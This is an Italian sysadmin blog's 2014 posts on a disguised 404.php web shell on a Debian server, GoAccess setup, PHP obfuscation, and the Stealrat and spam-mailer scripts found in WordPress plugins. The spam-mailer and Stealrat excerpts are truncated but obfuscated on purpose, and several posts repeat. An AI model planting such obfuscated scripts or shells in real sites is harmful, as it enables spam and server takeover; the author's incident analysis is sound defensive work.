Qualche giorno fa avevo segnalato la presenza di un file sospetto su un server Debian ma non avevo trovato notizie su Internet
A seguito del post sono stato contattato da persone legate a Virustotal.com che mi chiedevano di condividere il file per una analisi (sicuramente piu' dettagliata di quella che avevo fatto io)
Dopo aver fatto qualche verifica che non stavo mandando il programma a male intenzionati ho effettuato l'upload e sono stato autorizzato a pubblicare una sintesi (non il dettaglio) dello scambio di mail che abbiamo avuto
1: avevo intuito bene e mi e' stato confermato che il file da me segnalato era malware peraltro non ancora segnalato su Virustotal
2: il programma aveva un compagno di un rootkit posizionato in /proc/rs_dev. Putroppo il server nel frattempo e' stato formattato e non ho piu' posssibilita' di esaminare il file richiesto
3: il componente sembra legato alla famiglia citata in questo post.(mi ricordo che vecchi tempi in cui i virus sotto Ms-Dos usavano una tecnica simile)
venerdì 3 ottobre 2014
martedì 30 settembre 2014
404.php
Frugando su un server alla ricerca di anomalie mi e' caduto l'occhio su un file denominato 404.php in una posizione anomala
Richiamato dal browser assomiglia ad una normale pagina di errore 404 (File not found) di Apache ma la dimensione del file era decisamente anomala per un messaggio cosi' corto
Con un po' di attenzione al di sotto delle scritte c'erano anche 4 pallini che hanno attirato la mia attenzione
Aprendo il codice Php era evidente che non si trattava di un errore 404 ma di un malware. In pratica i pallini indicano il campo di inserimento di una password attraverso la quale si accede ad una shell in Php
La password e' gia' crittata in md5 e non ho modo di conoscerla ma avendo il sorgente e' facile sostituire la stringa md5 con la stringa md5 di una propria password
Fatto cio' si accede ad una finestra di amministraizone che mette a nudo la configurazione della macchina per l'attaccante
Nella finestra sottostante viene mostrato il file /etc/passwde' altresi' disponibile un file manager che permette di navigare tutto il filesystem (a meno di non mettere il webserver in chroot)
e' possibile effettuare una scansione del file system alla ricerca di cattive configurazioni
c'e' anche una funzione che apre una backdoor su una porta a scelta per esporre una shell
In un buona sostanza un pessimo ospite da avere su una propria macchina
lunedì 29 settembre 2014
mercoledì 24 settembre 2014
GoAccess su Debian
Se e' venuto a noia leggere i log di Apache mediante
tail -f /var/log/apache2/access.log
puo' essere utile il programma goaccess che mostra le informazioni in modo piu' strutturato e leggibile
Per l'installazione da sorgenti si scarica l'ultimo pacchetto tar.gz da questo link
si procede quindi a risolvere le dipendenze
apt-get install libgeoip-dev libncursesw5-dev pkg-config libglib2.0-dev
e si compila
./configure --enable-geoip --enable-utf8
make
make install
per lanciare il programma si deve indicare la posizione del file di log
goaccess -f /var/log/apache2/access.log
la prima schermata permette di scegliere il formato dati del file di log (in Debian e' corretta la prima opzione)
a questo punto si puo' vedere il traffico in tempo reale sul server web
tail -f /var/log/apache2/access.log
puo' essere utile il programma goaccess che mostra le informazioni in modo piu' strutturato e leggibile
Per l'installazione da sorgenti si scarica l'ultimo pacchetto tar.gz da questo link
si procede quindi a risolvere le dipendenze
apt-get install libgeoip-dev libncursesw5-dev pkg-config libglib2.0-dev
e si compila
./configure --enable-geoip --enable-utf8
make
make install
per lanciare il programma si deve indicare la posizione del file di log
goaccess -f /var/log/apache2/access.log
la prima schermata permette di scegliere il formato dati del file di log (in Debian e' corretta la prima opzione)
a questo punto si puo' vedere il traffico in tempo reale sul server web
mercoledì 17 settembre 2014
Offuscare codice Php
Visti i due precedenti post mi sono messo a dare un'occhiata alla possibilita' di offuscare il codice Php. Pur sapendo che esisteva la possibilita' non ho mai rilasciato per lavoro sorgenti offuscati ma e' una funzione che potrebbe essere utile per non salvare in chiaro i dati di login di pagine di autenticazione
Per esempio si puo' offuscare il solo file delle variabili per l'autenticazione
In chiaro ed in modo molto semplice si potrebbe scrivere
test.php
---------------------------------------------
<?
include("dati.php");
print $user;
print "<br>";
print $password;
?>
---------------------------------------------
dati.php
---------------------------------------------
<?
$user = "Luca";
$password = "password";
?>
---------------------------------------------
usando il servizio di http://www.phpencode.org/#main si puo' offuscare il file dati.php in modo da nascondere le credenziali.
il nuovo file (dati2.php) risulta essere cambiato cosi'
(attenzione per funzionare deve essere copiato ed incollato pari pari dal sito)
---------------------------------------------
<?php /*** PHP Encode v1.0 by zeura.com ***/ $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJGRbMV0sJGRbMl0pO2Vsc2UgJGY9dHJpbShzdWJzdHIoJGEsJGRbMF0rJGRbMV0rJGRbMl0pKTtyZXR1cm4oJGYpO319"));eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));__halt_compiler();aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=908117b002871dc8f72a4e70abf1f93dff6ecad2UyktTi1SsFVQ8ilNTlSy5uVSKUgsLi7PL0oBCcLYStYA
---------------------------------------------
modificando il file di prova per includere il file offuscato
test2.php
---------------------------------------------
<?
include("dati2.php");
print $user;
print "<br>";
print $password;
?>
---------------------------------------------
si ha il risultato atteso ovvero
---------------------------------------------
Luca
password
---------------------------------------------
scrivendo in modo maggiormente leggibile il codice dati2.php si capisce perche' non puo' essere modificato e si osserva maggiormente il comportamento dell'offuscatore che usa sostanzialmente usa sequenza di eval e base64_decode per offuscare le variabili. Interessante anche la direttiva _halt_compiler ed il codice appeso dietro la parte che il compilatore non interpretera'
---------------------------------------------
<?php
/*** PHP Encode v1.0 by zeura.com ***/
$XnNhAWEnhoiqwciqpoHH=file(__FILE__);
eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJGRbMV0sJGRbMl0pO2Vsc2UgJGY9dHJpbShzdWJzdHIoJGEsJGRbMF0rJGRbMV0rJGRbMl0pKTtyZXR1cm4oJGYpO319"));
eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));
eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));
__halt_compiler();
aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=908117b002871dc8f72a4e70abf1f93dff6ecad2UyktTi1SsFVQ8ilNTlSy5uVSKUgsLi7PL0oBCcLYStYA
Per esempio si puo' offuscare il solo file delle variabili per l'autenticazione
In chiaro ed in modo molto semplice si potrebbe scrivere
test.php
---------------------------------------------
<?
include("dati.php");
print $user;
print "<br>";
print $password;
?>
---------------------------------------------
dati.php
---------------------------------------------
<?
$user = "Luca";
$password = "password";
?>
---------------------------------------------
usando il servizio di http://www.phpencode.org/#main si puo' offuscare il file dati.php in modo da nascondere le credenziali.
il nuovo file (dati2.php) risulta essere cambiato cosi'
(attenzione per funzionare deve essere copiato ed incollato pari pari dal sito)
---------------------------------------------
<?php /*** PHP Encode v1.0 by zeura.com ***/ $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJGRbMV0sJGRbMl0pO2Vsc2UgJGY9dHJpbShzdWJzdHIoJGEsJGRbMF0rJGRbMV0rJGRbMl0pKTtyZXR1cm4oJGYpO319"));eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));__halt_compiler();aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=908117b002871dc8f72a4e70abf1f93dff6ecad2UyktTi1SsFVQ8ilNTlSy5uVSKUgsLi7PL0oBCcLYStYA
---------------------------------------------
modificando il file di prova per includere il file offuscato
test2.php
---------------------------------------------
<?
include("dati2.php");
print $user;
print "<br>";
print $password;
?>
---------------------------------------------
si ha il risultato atteso ovvero
---------------------------------------------
Luca
password
---------------------------------------------
scrivendo in modo maggiormente leggibile il codice dati2.php si capisce perche' non puo' essere modificato e si osserva maggiormente il comportamento dell'offuscatore che usa sostanzialmente usa sequenza di eval e base64_decode per offuscare le variabili. Interessante anche la direttiva _halt_compiler ed il codice appeso dietro la parte che il compilatore non interpretera'
---------------------------------------------
<?php
/*** PHP Encode v1.0 by zeura.com ***/
$XnNhAWEnhoiqwciqpoHH=file(__FILE__);
eval(base64_decode("aWYoIWZ1bmN0aW9uX2V4aXN0cygiWWl1bklVWTc2YkJodWhOWUlPOCIpKXtmdW5jdGlvbiBZaXVuSVVZNzZiQmh1aE5ZSU84KCRnLCRiPTApeyRhPWltcGxvZGUoIlxuIiwkZyk7JGQ9YXJyYXkoNjU1LDIzNiw0MCk7aWYoJGI9PTApICRmPXN1YnN0cigkYSwkZFswXSwkZFsxXSk7ZWxzZWlmKCRiPT0xKSAkZj1zdWJzdHIoJGEsJGRbMF0rJGRbMV0sJGRbMl0pO2Vsc2UgJGY9dHJpbShzdWJzdHIoJGEsJGRbMF0rJGRbMV0rJGRbMl0pKTtyZXR1cm4oJGYpO319"));
eval(base64_decode(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH)));
eval(ZsldkfhGYU87iyihdfsow(YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,2),YiunIUY76bBhuhNYIO8($XnNhAWEnhoiqwciqpoHH,1)));
__halt_compiler();
aWYoIWZ1bmN0aW9uX2V4aXN0cygiWnNsZGtmaEdZVTg3aXlpaGRmc293Iikpe2Z1bmN0aW9uIFpzbGRrZmhHWVU4N2l5aWhkZnNvdygkYSwkaCl7aWYoJGg9PXNoYTEoJGEpKXtyZXR1cm4oZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJGEpKSk7fWVsc2V7ZWNobygiRXJyb3I6IEZpbGUgTW9kaWZpZWQiKTt9fX0=908117b002871dc8f72a4e70abf1f93dff6ecad2UyktTi1SsFVQ8ilNTlSy5uVSKUgsLi7PL0oBCcLYStYA
Stealrat BotNet in Php su Wordpress
Sulla stessa macchina in cui era presente quanto descritto a questo post al momento di avviare apache venivano segnalati anche questi errori
Tue Sep 16 16:25:18 2014] [error] [client xxx.xxx.xxx.xxx] PHP Warning: file_exists(): open_basedir restriction in effect. File(/var/www/vhosts/xxxxxxxx/httpdocs/wp-content/wptouch-data/themes/configOzP.php/readme.txt) is not within the allowed path(s): (/var/www/vhosts/xxxxxxxxxx/httpdocs/:/tmp/) in /var/www/vhosts/xxxxxxxxxxxxx/wp-content/plugins/wptouch-pro-3/core/class-wptouch-pro.php on line 1209
(Sono state omesse le informazioni sensibili)
andando a dare un'occhiata al plugin wptouch nel file indicato si trova il codice sottoriportato (riporto al solito le prime righe per evitare usi illeciti)
Anche in questo caso ci si trova davanti a codice Php offuscato e si alza la soglia di attenzione
--------------------------------------
<?php
@error_reporting(0);
@ini_set(chr(101).chr(114).'ror_log',NULL);
@ini_set('log_errors',0);
if (count($_POST) < 2)
{
die(PHP_OS.chr(49).chr(48).chr(43).md5(0987654321));
}
$v5031e998 = false;
foreach (array_keys($_POST) as $v3c6e0b8a)
{ switch ($v3c6e0b8a[0])
{ case chr(108):
$vd56b6998 = $v3c6e0b8a; break;
case chr(100): $v8d777f38 = $v3c6e0b8a; break;
case chr(109): $v3d26b0b1 = $v3c6e0b8a; break;
case chr(101); $v5031e998 = true;
break;
}
}
if ($vd56b6998 === '' || $v8d777f38 === '') die(PHP_OS.chr(49).chr(49).chr(43).md5(0987654321));
$v619d75f8 = preg_split('/\,(\ +)?/', @ini_get('disable_functions'));
$v01b6e203 = @$_POST[$vd56b6998];
$v8d777f38 = @$_POST[$v8d777f38];
$v3d26b0b1 = @$_POST[$v3d26b0b1];
if ($v5031e998)
{ $v01b6e203 = n9a2d8ce3($v01b6e203);
$v8d777f38 = n9a2d8ce3($v8d777f38);
$v3d26b0b1 = n9a2d8ce3($v3d26b0b1);
}
$v01b6e203 = urldecode(stripslashes($v01b6e203));
$v8d777f38 = urldecode(stripslashes($v8d777f38));
$v3d26b0b1 = urldecode(stripslashes($v3d26b0b1));
if (strpos($v01b6e203, '#',1) != false)
{
$v16a9b63f = preg_split('/#/', $v01b6e203);
$ve2942a04 = count($v16a9b63f);
} else {
$v16a9b63f[0] = $v01b6e203;
$ve2942a04 = 1;
--------------------------------------
in questo caso la ricerca su Internet riporta molti riferimenti con addirittura una sorta di manuale di istruzione pubblicato da TrendMicro. Si tratta di uno script da BotNet denominato Stealrat nato per fare sostanzialmente spamming e pishing
Tue Sep 16 16:25:18 2014] [error] [client xxx.xxx.xxx.xxx] PHP Warning: file_exists(): open_basedir restriction in effect. File(/var/www/vhosts/xxxxxxxx/httpdocs/wp-content/wptouch-data/themes/configOzP.php/readme.txt) is not within the allowed path(s): (/var/www/vhosts/xxxxxxxxxx/httpdocs/:/tmp/) in /var/www/vhosts/xxxxxxxxxxxxx/wp-content/plugins/wptouch-pro-3/core/class-wptouch-pro.php on line 1209
(Sono state omesse le informazioni sensibili)
andando a dare un'occhiata al plugin wptouch nel file indicato si trova il codice sottoriportato (riporto al solito le prime righe per evitare usi illeciti)
Anche in questo caso ci si trova davanti a codice Php offuscato e si alza la soglia di attenzione
--------------------------------------
<?php
@error_reporting(0);
@ini_set(chr(101).chr(114).'ror_log',NULL);
@ini_set('log_errors',0);
if (count($_POST) < 2)
{
die(PHP_OS.chr(49).chr(48).chr(43).md5(0987654321));
}
$v5031e998 = false;
foreach (array_keys($_POST) as $v3c6e0b8a)
{ switch ($v3c6e0b8a[0])
{ case chr(108):
$vd56b6998 = $v3c6e0b8a; break;
case chr(100): $v8d777f38 = $v3c6e0b8a; break;
case chr(109): $v3d26b0b1 = $v3c6e0b8a; break;
case chr(101); $v5031e998 = true;
break;
}
}
if ($vd56b6998 === '' || $v8d777f38 === '') die(PHP_OS.chr(49).chr(49).chr(43).md5(0987654321));
$v619d75f8 = preg_split('/\,(\ +)?/', @ini_get('disable_functions'));
$v01b6e203 = @$_POST[$vd56b6998];
$v8d777f38 = @$_POST[$v8d777f38];
$v3d26b0b1 = @$_POST[$v3d26b0b1];
if ($v5031e998)
{ $v01b6e203 = n9a2d8ce3($v01b6e203);
$v8d777f38 = n9a2d8ce3($v8d777f38);
$v3d26b0b1 = n9a2d8ce3($v3d26b0b1);
}
$v01b6e203 = urldecode(stripslashes($v01b6e203));
$v8d777f38 = urldecode(stripslashes($v8d777f38));
$v3d26b0b1 = urldecode(stripslashes($v3d26b0b1));
if (strpos($v01b6e203, '#',1) != false)
{
$v16a9b63f = preg_split('/#/', $v01b6e203);
$ve2942a04 = count($v16a9b63f);
} else {
$v16a9b63f[0] = $v01b6e203;
$ve2942a04 = 1;
--------------------------------------
in questo caso la ricerca su Internet riporta molti riferimenti con addirittura una sorta di manuale di istruzione pubblicato da TrendMicro. Si tratta di uno script da BotNet denominato Stealrat nato per fare sostanzialmente spamming e pishing
Spam robot in Php su Wordpress
Ieri un amico mi ha chiamato perche' il suo server web era giu' senza un motivo evidente. Si tratta di una installazione non proprio banale di wordpress (con un po' di plugin attivi)
Guardando access_log le ultime 350 righe riportavano il seguente codice
[16/Sep/2014:14:40:15 +0200] "POST /wp-content/plugins/ubermenu/standard/timthumb/stats.php HTTP/1.1" 200 522 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.7.6)"
l'attenzione si e' quindi focalizzata sul file stats.php del plugin ubermenu.Fra le altre cose nel codice di UberMenu (scaricato dal sito ufficiale) non e' presente nessun file stat.php nella sottodirectory timthumb
Riporto di seguito le prime righe (in modo da non diffondere il codice completo)
E' evidente anche all'occhio piu' inesperto l'offuscamento del codice Php realizzato popolando un arrary ($i59) con un serie di caratteri e componendo in seguito i comandi usando la concatenazione di caratteri da questo array. Alcune di queste variabili $GLOBALS definiscono nomi di funzioni mentre in altri casi compongono i parametri da passare alle funzioni
------------------------------------------------------
<?
$i59="Euc<v#`5R1s?j{\nJnd8,KA>}wIQ\r7gp;^U0\"YBSH@!=&MOG\\Vlaz\$2mtxLFDX[Zb:f6)~h+%'_k/iyN4CTer.|(3]-\tq9*o PW";
$GLOBALS['kyvlc2'] = $i59[82].$i59[83].$i59[83].$i59[94].$i59[83].$i59[73].$i59[83].$i59[82].$i59[30].$i59[94].$i59[83].$i59[55].$i59[76].$i59[16].$i59[29];
$GLOBALS['osuwk64'] = $i59[76].$i59[16].$i59[76].$i59[73].$i59[10].$i59[82].$i59[55];
$GLOBALS['mrkzp11'] = $i59[63].$i59[2].$i59[55].$i59[76].$i59[94].$i59[53].$i59[28];
$GLOBALS['olhjz88'] = $i59[54].$i59[17].$i59[7];
$GLOBALS['gtwpr99'] = $i59[56].$i59[50].$i59[29].$i59[24].$i59[91].$i59[9].$i59[92];
$GLOBALS['azxqi23'] = $i59[65].$i59[10].$i59[1].$i59[56].$i59[1].$i59[9].$i59[53];
$GLOBALS['ttins71'] = $i59[10].$i59[49].$i59[49].$i59[55].$i59[24].$i59[9].$i59[28];
$GLOBALS['biplj38'] = $i59[69].$i59[74].$i59[63].$i59[49].$i59[91].$i59[18].$i59[18];
$GLOBALS['fufff37'] = $i59[2].$i59[83].$i59[16].$i59[54].$i59[10].$i59[79].$i59[34];
$GLOBALS['llsic87'] = $i59[30].$i59[74].$i59[24].$i59[56].$i59[29].$i59[53].$i59[53];
$GLOBALS['npqfu35'] = $i59[29].$i59[49].$i59[56].$i59[82].$i59[56].$i59[92].$i59[53];
$GLOBALS['kgedf91'] = $i59[77].$i59[29].$i59[56].$i59[55].$i59[65].$i59[7].$i59[53];
$GLOBALS['tscso85'] = $i59[10].$i59[55].$i59[83].$i59[49].$i59[82].$i59[16]; //1ayOin
$GLOBALS['dkzox36'] = $i59[2].$i59[69].$i59[83]; //uby
$GLOBALS['nqkyz54'] = $i59[94].$i5mrkzp119[83].$i59[17]; //]yj
$GLOBALS['bbolh46'] = $i59[63].$i59[50].$i59[10].$i59[82].$i59[66].$i59[79].$i59[73].$i59[82].$i59[16].$i59[2].$i59[94].$i59[17].$i59[82];
$GLOBALS['pzfzn51'] = $i59[2].$i59[94].$i59[1].$i59[16].$i59[55];
$GLOBALS['goxku40'] = $i59[65].$i59[1].$i59[16].$i59[2].$i59[55].$i59[76].$i59[94].$i59[16].$i59[73].$i59[82].$i59[56].$i59[76].$i59[10].$i59[55].$i59[10];
$GLOBALS['qllnp80'] = $i59[54].$i59[50].$i59[76].$i59[49];
$GLOBALS['oewlq88'] = $i59[65].$i59[12].$i59[2].$i59[24].$i59[17].$i59[92];
$GLOBALS['inaco6'] = $i59[65].$i59[29].$i59[82].$i59[55].$i59[10];
$GLOBALS['fbigd92'] = $i59[29].$i59[82].$i59[55].$i59[69].$i59[94].$i59[10].$i59[55].$i59[63].$i59[77].$i59[16].$i59[50].$i59[54].$i59[82];
$GLOBALS['szwwc12'] = $i59[65].$i59[10].$i59[94].$i59[2].$i59[74].$i59[94].$i59[30].$i59[82].$i59[16];
$GLOBALS['ifjvc34'] = $i59[30].$i59[65].$i59[10].$i59[94].$i59[2].$i59[74].$i59[94].$i59[30].$i59[82].$i59[16];
$GLOBALS['eypvx47'] = $i59[10].$i59[55].$i59[83].$i59[82].$i59[50].$i59[54].$i59[73].$i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[2].$i59[49].$i59[76].$i59[82].$i59[16].$i59[55];
$GLOBALS['ewgqn30'] = $i59[65].$i59[30].$i59[1].$i59[55].$i59[10];
$GLOBALS['qlkol47'] = $i59[55].$i59[83].$i59[76].$i59[54];
$GLOBALS['wwxez32'] = $i59[30].$i59[83].$i59[82].$i59[29].$i59[73].$i59[83].$i59[82].$i59[30].$i59[49].$i59[50].$i59[2].$i59[82];
$GLOBALS['xumld93'] = $i59[65].$i59[2].$i59[49].$i59[94].$i59[10].$i59[82];
$GLOBALS['sfroq33'] = $i59[24].$i59[65].$i59[77].$i59[65].$i59[51].$i59[18].$i59[53];
$GLOBALS['snkbr7'] = $i59[55].$i59[76].$i59[54].$i59[82];
$GLOBALS['gbiun57'] = $i59[24].$i59[17].$i59[74].$i59[50].$i59[77].$i59[28];
$GLOBALS['vfpnn60'] = $i59[50].$i59[83].$i59[83].$i59[50].$i59[77].$i59[73].$i59[10].$i59[82].$i59[50].$i59[83].$i59[2].$i59[69];
$GLOBALS['slvul93'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[2].$i59[49].$i59[94].$i59[10].$i59[82];
$GLOBALS['abwqf91'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[2].$i59[83].$i59[82].$i59[50].$i59[55].$i59[82];
$GLOBALS['wjevo71'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[10].$i59[82].$i59[55].$i59[73].$i59[16].$i59[94].$i59[16].$i59[63].$i59[49].$i59[94].$i59[2].$i59[74];
$GLOBALS['zqewi88'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[2].$i59[94].$i59[16].$i59[16].$i59[82].$i59[2].$i59[55];
$GLOBALS['syafl23'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[49].$i59[50].$i59[10].$i59[55].$i59[73].$i59[82].$i59[83].$i59[83].$i59[94].$i59[83];
$GLOBALS['mhzfy25'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[10].$i59[82].$i59[49].$i59[82].$i59[2].$i59[55];
$GLOBALS['rmuvr11'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[83].$i59[82].$i59[50].$i59[17];
$GLOBALS['tgaup44'] = $i59[10].$i59[94].$i59[2].$i59[74].$i59[82].$i59[55].$i59[73].$i59[24].$i59[83].$i59[76].$i59[55].$i59[82];
$GLOBALS['qihri77'] = $i59[2].$i59[49].$i59[94].$i59[10].$i59[82].$i59[38].$i59[94].$i59[2].$i59[74];
$GLOBALS['bavbu3'] = $i59[17].$i59[50].$i59[55].$i59[82];
$GLOBALS['vgyag20'] = $i59[10].$i59[55].$i59[83].$i59[73].$i59[83].$i59[82].$i59[30].$i59[49].$i59[50].$i59[2].$i59[82];
$GLOBALS['rssnp53'] = $i59[30].$i59[83].$i59[82].$i59[29].$i59[73].$i59[54].$i59[50].$i59[55].$i59[2].$i59[69];
$GLOBALS['bosbj25'] = $i59[1].$i59[2].$i59[65].$i59[76].$i59[83].$i59[10].$i59[55];
$GLOBALS['eebyx59'] = $i59[76].$i59[16].$i59[76].$i59[73].$i59[29].$i59[82].$i59[55];
$GLOBALS['ltkgi30'] = $i59[29].$i59[82].$i59[55].$i59[54].$i59[56].$i59[83].$i59[83];
$GLOBALS['veudg88'] = $i59[50].$i59[83].$i59[83].$i59[50].$i59[77].$i59[73].$i59[74].$i59[82].$i59[77].$i59[10];
$GLOBALS['ugeiv74'] = $i59[54].$i59[76].$i59[16];
$GLOBALS['vkxhv92'] = ${$i59[73].$i59[96].$i59[45].$i59[38].$i59[81]};
$GLOBALS['gpcou63'] = $i59[30].$i59[30].$i59[1].$i59[91].$i59[17].$i59[28].$i59[66];
$GLOBALS['kkndw71'] = $i59[30].$i59[83].$i59[82].$i59[29].$i59[73].$i59[10].$i59[30].$i59[49].$i59[76].$i59[55];
$GLOBALS['knpxe74'] = $i59[63].$i59[50].$i59[10].$i59[82].$i59[66].$i59[79].$i59[73].$i59[17].$i59[82].$i59[2].$i59[94].$i59[17].$i59[82];
$GLOBALS['ywanc2'] = $i59[1].$i59[83].$i59[49].$i59[17].$i59[82].$i59[2].$i59[94].$i59[17].$i59[82];
$GLOBALS['ggbdg61'] = $i59[10].$i59[55].$i59[83].$i59[76].$i59[30].$i59[10].$i59[49].$i59[50].$i59[10].$i59[69].$i59[82].$i59[10];
@$GLOBALS['kyvlc2'](NULL);
@$GLOBALS['osuwk64']($i59[82].$i59[83].$i59[83].$i59[94].$i59[83].$i59[73].$i59[49].$i59[94].$i59[29],NULL);
@$GLOBALS['osuwk64']($i59[49].$i59[94].$i59[29].$i59[73].$i59[82].$i59[83].$i59[83].$i59[94].$i59[83].$i59[10],0);
$vxlcl82 =
array( $i59[17].$i59[50].$i59[55].$i59[50].$i59[81].$i59[94] => "",
$i59[65].$i59[83].$i59[94].$i59[54].$i59[57].$i59[94].$i59[29].$i59[76].$i59[16] => "",
$i59[65].$i59[83].$i59[94].$i59[54].$i59[78].$i59[50].$i59[54].$i59[82] => "",
$i59[10].$i59[1].$i59[63].$i59[12].$i59[81].$i59[82].$i59[54].$i59[30].$i59[49] => "",
$i59[63].$i59[94].$i59[17].$i59[77].$i59[81].$i59[82].$i59[54].$i59[30].$i59[49] => "",
$i59[69].$i59[94].$i59[10].$i59[55].$i59[58].$i59[83].$i59[94].$i59[54] => "",
$i59[76].$i59[16].$i59[76].$i59[55].$i59[16].$i59[63].$i59[10].$i59[94].$i59[2].$i59[74] => FALSE,
$i59[76].$i59[16].$i59[76].$i59[55].$i59[10].$i59[94].$i59[2].$i59[74] => FALSE,
$i59[76].$i59[16].$i59[76].$i59[55].$i59[54].$i59[50].$i59[76].$i59[49] => FALSE,);
if (FALSE == $GLOBALS['mrkzp11']($i59, $vxlcl82))
{
echo PHP_OS.$i59[70].$GLOBALS['olhjz88'](0987654321).$i59[70].$i59[34].$i59[9].$i59[70].$i59[61].$i59[61].$i59[88].$i59[88].$i59[14];
exit;
}
$unahu45 = array();
-------------------------------------------------------------------------------------
Cercando su internet non si trovano molte informazioni a riguardo (a parte questo link link disattivato) ma con un po' piu di attenzione si arriva ad una pagina di PasteBin (che non linko) che riporta il codice non offuscato
Si tratta di mail script in Php di circa 500 righe.
Per esempio riporto solo la definizione di un array
------------------------------------
$vxlcl82 = array(
"dataTo" => "",
"fromLogin" => "",
"fromName" => "",
"subjTempl" => "",
"bodyTempl" => "",
"hostFrom" => "",
"initnbsock" => FALSE,
"initsock" => FALSE,
"initmail" => FALSE
);
------------------------------------
La macchina era quindi impegnata a fare spam e metteva in crisi le poche risorse disponibili
Guardando access_log le ultime 350 righe riportavano il seguente codice
[16/Sep/2014:14:40:15 +0200] "POST /wp-content/plugins/ubermenu/standard/timthumb/stats.php HTTP/1.1" 200 522 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.7.6)"
l'attenzione si e' quindi focalizzata sul file stats.php del plugin ubermenu.Fra le altre cose nel codice di UberMenu (scaricato dal sito ufficiale) non e' presente nessun file stat.php nella sottodirectory timthumb
Riporto di seguito le prime righe (in modo da non diffondere il codice completo)
E' evidente anche all'occhio piu' inesperto l'offuscamento del codice Php realizzato popolando un arrary ($i59) con un serie di caratteri e componendo in seguito i comandi usando la concatenazione di caratteri da questo array. Alcune di queste variabili $GLOBALS definiscono nomi di funzioni mentre in altri casi compongono i parametri da passare alle funzioni
------------------------------------------------------
<?
